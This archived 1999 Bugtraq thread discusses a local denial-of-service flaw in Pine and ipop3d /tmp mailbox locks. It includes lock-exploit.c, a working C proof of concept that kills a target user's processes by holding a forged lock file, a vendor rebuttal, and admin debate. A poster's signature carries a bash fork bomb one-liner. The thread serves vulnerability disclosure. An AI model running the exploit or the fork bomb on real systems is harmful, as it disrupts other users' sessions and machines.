Lucene search

K
packetstormPacket StormPACKETSTORM:12024
HistoryAug 17, 1999 - 12:00 a.m.

ipop3d.4.xx.lockfile.DoS.txt

1999-08-1700:00:00
Packet Storm
packetstormsecurity.com
34
`Date: Sun, 7 Mar 1999 01:41:25 +0100  
From: Michal Zalewski <[email protected]>  
  
Lockfile vunerability in ipop3d 4.xx  
  
The problem is probably well known, but silently ignored by pine vendors.  
Unfortunately, it's possible to turn 'mostly harmless feature' in  
something nasty - following code allows various DoSes by killing all  
processes of luser (could be root?) every time he/she runs pine or  
receives mail via POP3 protocol:  
  
-- lock-exploit.c --  
// Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff.  
  
#include <sys/file.h>  
#include <sys/stat.h>  
#include <unistd.h>  
  
main(int argc,char* argv[]) {  
int i,a=0;  
char s[100];  
struct stat x;  
if (!argv[1]) exit(printf("Usage: %s account_name\n",argv[0]));  
sprintf(s,"/var/spool/mail/%s",argv[1]);  
if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s));  
sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino);  
fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666);  
while (1) {  
lseek(i,0,0);  
write(i,"-1",2);  
ftruncate(i,2);  
fsync(i);  
if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s);  
else printf("File %s already locked, wait...\n",s);  
sleep(1);  
}  
}  
-- eof --  
  
Works well under Linux. Under BSD, pine seems to have broken mailbox  
access negotiation (fortunately ;-). No information about ipop3d.  
  
Mainly, this vunerability demonstrates that world-writable mailbox locks  
in /tmp are SICK IDEA (one day, as I recall, one of pine vendors said it's  
'harmless', while other solutions allows several DoS attacks... huh).  
  
-  
  
_______________________________________________________________________  
Michal Zalewski [[email protected]] [link / marchew] [dione.ids.pl SYSADM]  
[Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:  
[voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]  
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]  
  
-----------------------------------------------------------------------------  
  
Date: Mon, 8 Mar 1999 02:37:18 +0100  
From: Michal Zalewski <[email protected]>  
  
> 3. Lockfile vunerability in pine 4.xx (Linux)  
> 4. Lockfile vunerability in ipop3d 4.xx  
  
It has been addressed as 'negative value' problem. The problem is buggy  
negotiation protocol, not negative, positive or any other PID itself  
(disallowing negative values won't prevent attacker from killing choosen  
processes). So, as today, there's no chance for complete solution on /tmp  
mailbox locks.  
  
-----------------------------------------------------------------------------  
  
Date: Thu, 8 Apr 1999 18:16:48 -0700  
From: Mark Crispin <[email protected]>  
Reply-To: Pine Team <[email protected]>  
  
We thought these claims required a response from us since they contain  
misleading information and only about 20% fact. And by the way, we were  
not contacted before this post was made to BUGTRAQ, as protocol states.  
  
The impact is only with the standard UNIX format.  
  
The buffer overflow claim, and in particular the alleged root compromise, is  
bogus. The process is not root when mailboxes are open; nor can it get root  
back. He is confused by the SVR4 semantics of UID; the caveat about the  
real UID does not apply to root processes doing setuid().  
  
The maximum exposure is that one byte of stack frame may be set to zero,  
because of a "buf[x] = 0" for a stack buffer of length x. This may cause a  
SEGV; more likely it will just clobber a variable that isn't used after that  
point in the function anyway. It is not possible to write something else, nor  
is it possible to write at any other location.  
  
In other words, this "buffer overflow" bug is just an ordinary bug. It  
doesn't happen unless the software is abused, and even may be totally harmless  
depending upon the code that your C compiler generates. It is *NOT* a  
security bug in the normal sense.  
  
Now, we'll talk about the 20% that is fact. Yes, it is possible to write  
a negative process ID in the lock file. This requires that the attacker  
have shell access; it can't be mounted remotely. It also requires that  
the attacker have a program running at the time that the victim opens his  
mail file.  
  
Not only is the program running, but it has the lock file open and locked. In  
other words, it's incredibly easy to catch; particularly if you have lsof.  
Nor can there be any question of intent when it comes to prosecution. Only an  
extremely stupid individual would try it.  
  
-----------------------------------------------------------------------------  
  
Date: Fri, 9 Apr 1999 09:06:23 -0700  
From: Mark Crispin <[email protected]>  
To: [email protected]  
Subject: Re: ipop3d (x2) / pine (x2) / Linux kernel (x2) / Midnight Commander (x2)  
  
On Fri, 9 Apr 1999 10:48:05 +0200, Olaf Kirch wrote:  
> There's a feature in imap that's rarely if ever mentioned which lets  
> you configure the lock protection for mailbox locks. In /etc/client.cf,  
> you can do `set lock-protection 0600'. The source says it's totally  
> unsupported and may go away anytime, though.  
  
Don't do it. It won't work. It will break things, and subject you to public  
humiliation should I get a bug report as a result.  
  
The locks are 666 for a reason. Forget about denial of service problems when  
you have hostile users with shell accounts (why would you have such a thing  
anyway). We're talking about denial of service problems when all of your  
users are good guys and are cooperating with each other.  
  
-----------------------------------------------------------------------------  
  
Date: Sun, 11 Apr 1999 16:13:21 +0400  
From: GvS <[email protected]>  
To: [email protected]  
Subject: Re: ipop3d (x2) / pine (x2) / ...  
  
On Fri, 9 Apr 1999, Mark Crispin wrote:  
  
MC> The locks are 666 for a reason.  
  
SHIT! Sorry...  
  
The lock mode MUST be selectable. I can't see almost any reason for  
world-writable locks for me and my systems. If somebody wants to, he  
can set them 0666 by hand. In any case I would require truly shared  
mailboxes, it's enough for me to have the lock mode group-writable  
(0660) and permit access for the specified group. And only!  
  
Making lock-file mode 0666 doesn't allow me to detect hostile user  
whether he/she appears on my system, but easily allows him/her to  
perform at least 2 different DoS attacks agains somebody's Pine. It's  
headache.  
  
SY, Seva Gluschenko, just stranger at the Road.  
GVS-RIPE: Cronyx Plus / RiNet network administrator.  
  
--- IRC: erra  
* Origin: Erra Netmale ([email protected]) [http://gvs.rinet.ru/]  
`